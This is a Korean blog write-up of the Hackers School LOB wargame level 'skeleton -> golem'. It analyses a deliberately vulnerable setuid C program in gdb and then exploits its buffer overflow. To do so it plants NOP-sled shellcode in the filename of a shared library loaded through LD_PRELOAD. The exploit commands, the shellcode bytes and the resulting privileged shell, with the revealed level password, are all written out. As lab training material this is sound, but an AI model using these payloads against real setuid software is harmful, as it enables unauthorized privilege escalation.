[lob] 해커스쿨 skeleton -> golem 풀이

l 해커스쿨 skeleton 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

 

skeleton 문제의 아이디인   skeleton 와 password인    shellcoder  을 입력하여 skeleton의 유저로 접속합니다.

 

 

 

[skeleton@localhost skeleton]$ ls -l
total 16
-rwsr-sr-x    1 golem    golem       12199 Mar  2  2010 golem
-rw-r--r--    1 root     root          539 Mar 29  2010 golem.c


[skeleton@localhost skeleton]$ cat golem.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include  <stdio.h>
#include  <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/skeleton ) 아래에 있는 디렉터리의 목록을 확인합니다.

skeleton.c 파일을 읽어보니 위와 같은 힌트 코드가 있습니다.

 

힌트 코드를 분석해보겠습니다.

1. argc는 2 이상이어야 합니다.

2. argv[1]의 48번째는 \xbf이어야 합니다.

3. buffer부터 sfp까지 0으로 초기화가 되고, return을 제외하고 0xbfffffff까지 0으로 초기화가 됩니다.

분석한 결과 사용할 수 있는 공간은 return 영역과 buffer의 아래 영역이라는 것을 알 수 있습니다.

 

 

 

[skeleton@localhost skeleton]$ cp golem skeleton

[skeleton@localhost skeleton]$ gdb skeleton
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048470   <main>
:          push   %ebp
0x8048471 <main+1>:     mov    %esp,%ebp
0x8048473 <main+3>:     sub    $0x2c,%esp
...
0x80484c6 <main+86>:    mov    (%eax),%edx
0x80484c8 <main+88>:    push   %edx
0x80484c9 <main+89>:    lea    0xffffffd8(%ebp),%eax
0x80484cc <main+92>:    push   %eax
0x80484cd <main+93>:    call   0x80483a8 <strcpy>
...

 

 

 

gdb 실행 및 확인을 위해서 golem 파일을 복사해 skeleton 파일을 하나 생성해주었습니다. 

skeleton 파일을 gdb로 분석해보도록 하겠습니다. 빨간색 부분만 참고하면 될 것입니다.

 

 

1. 0x8048473 <main+3>:     sub    $0x2c,%esp 

0x2c를 10진수로 변환하면 44입니다. 스택에 총 44byte를 할당한 것입니다.

 

 

2. 0x80484cd <main+93>:    call   0x80483a8 <strcpy>

golem.c 파일에서 strcpy에는 argv[1]과 buffer 총 두 개의 인자가 들어갑니다. 여기서 스택에 push 되는 순서는 argv[1], buffer 순서이기 때문에 <main+89>가 buffer의 주소를 push 하는 과정입니다. 따라서 buffer의 시작 주소는 [ebp - 0xffffffd8의 2의 보수]입니다.

 

11011000 => 00100111 => 00101000 => 8 + 32 = 40

buffer는 ebp - 40부터 시작됩니다. 

 

 

위에서도 언급했지만 이번 문제는 buffer의 아래 영역을 사용해야 합니다. 그리고 그중에서도 공유 메모리 영역을 사용해야 합니다. 메모리 구조를 간단하게 나타내면 다음과 같습니다.

 

 

 

 

공유 라이브러리 영역을 사용하기 위해서 아래 두 가지의 과정을 거쳐야 합니다.

 

1. 셸 코드를 공유 라이브러리 파일로 만들기

2. LD_PRELOAD에 위에서 만든 공유 라이브러리 파일을 등록하기

 

코드를 보며 좀 더 자세히 설명하도록 하겠습니다.

 

 

 

[skeleton@localhost skeleton]$ bash2
[skeleton@localhost skeleton]$ touch shell.c
[skeleton@localhost skeleton]$  gcc shell.c -fPIC -shared -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[skeleton@localhost skeleton]$ ls -l
total 32
-rwsr-sr-x    1 golem    golem       12199 Mar  2  2010 golem
-rw-r--r--    1 root     root          539 Mar 29  2010 golem.c
-rw-rw-r--    1 skeleton skeleton        0 Jan 21 13:13 shell.c
-rwxrwxr-x    1 skeleton skeleton     5642 Jan 21 13:13 ????????????????????????????????????????????????????????????????????????????????????????????????????ë?^1ɱ2?l?ÿ??é?uöë?èêÿÿÿ2ÁQi00tii0cjo?äQT?â?±?Î?

 

 

 

순서는 다음과 같습니다.

 

1. bash2를 입력합니다. 

2. 아무 내용이 없는 .c 파일을 하나 생성합니다. 빈 파일을 생성하는 이유는 공유 라이브러리 파일을 만들 때 사용하는 옵션을 이용해 셸 파일을 만들어주기 위해서입니다.

- fPIC : 파일을 동적 라이브러리로 사용하도록 컴파일 하는 옵션
- shared : 공유 라이브러리를 만드는 옵션

저도 이번에 공부하며 알게된 옵션인데 둘 다 공유 라이브러리 파일을 만들 때 필요한 옵션들이라고 합니다.

3. 위의 두 과정이 완료가 되면 NOP와 셸 코드를 넣은 파일이 하나 생성될 것입니다.

 

 

 

[skeleton@localhost skeleton]$ export LD_PRELOAD="/home/skeleton/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"

 

 

 

이제 위에서 만든 파일을 LD_PRELOAD에 등록해주도록 하겠습니다.

 

LD_PRELOAD를 환경 변수에 등록시키면 프로그램이 메모리에 올라가기 전에 설정된 라이브러리를 먼저 메모리에 올리게 됩니다. /home/skeleton/`python ~` 처럼 절대 경로로 적어주어야 합니다.

 

 

 

(gdb) b *main+166
Breakpoint 1 at 0x8048516
(gdb) r `python -c 'print "A"*47+"\xbf"'`
Starting program: /home/skeleton/skeleton `python -c 'print "A"*47+"\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿

(gdb) x/100x $esp-3000
...
0xbffff574:     0x40000824      0xbffff584      0x400075bb      0x40017000
0xbffff584:     0x00002fb2      0x40013868      0xbffff764      0x4000380e
0xbffff594:     0x40014478      0x6d6f682f      0x6b732f65      0x74656c65
0xbffff5a4:     0x902f6e6f      0x90909090      0x90909090      0x90909090
0xbffff5b4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5c4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5d4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5e4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5f4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff604:     0x90909090      0xeb909090      0xc9315e11      0x6c8032b1
(gdb)
0xbffff614:     0x8001ff0e      0xf67501e9      0xeae805eb      0x32ffffff
0xbffff624:     0x306951c1      0x69697430      0x6f6a6330      0x5451e48a
0xbffff634:     0xb19ae28a      0x0081ce0c      0x40013868      0x4000220c
0xbffff644:     0xbffffb6e      0x00000000      0x00000000      0x00000000
...

 

 

 

공유 라이브러리의 영역은 buffer보다 아래에 있는 영역이기 때문에 esp를 기준으로 3000더 아래 있는 지점부터 출력하도록 했습니다. 계속 올라가다 보면 위의 빨간색 부분처럼 공유 라이브러리 파일로 만들어 놓았던 내용이 나옵니다. 위치는 0xbffff5a4부터 시작되므로 대충 0xbffff5a8로 잡고 공격해보도록 하겠습니다.

 

페이로드는 다음과 같습니다.

 

 

| 페이로드

./golem `python -c 'print "\x90"*44+"\xa8\xf5\xff\xbf"'`

 

 

 

[skeleton@localhost skeleton]$ ./golem `python -c 'print "\x90"*44+"\xa8\xf5\xff\xbf"'`
¨õÿ¿
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee

 

 

 

위의 페이로드를 넣고 id 명령을 입력하니 euid가 golem인 것을 확인할 수 있습니다. my-pass를 입력해 golem user의 비밀번호를 찾을 수 있습니다.

 

 

 

 

l golem 비밀번호

더보기

euid = 511 
cup of coffee 

 

이 글을 공유하기

댓글

Designed by JB FACTORY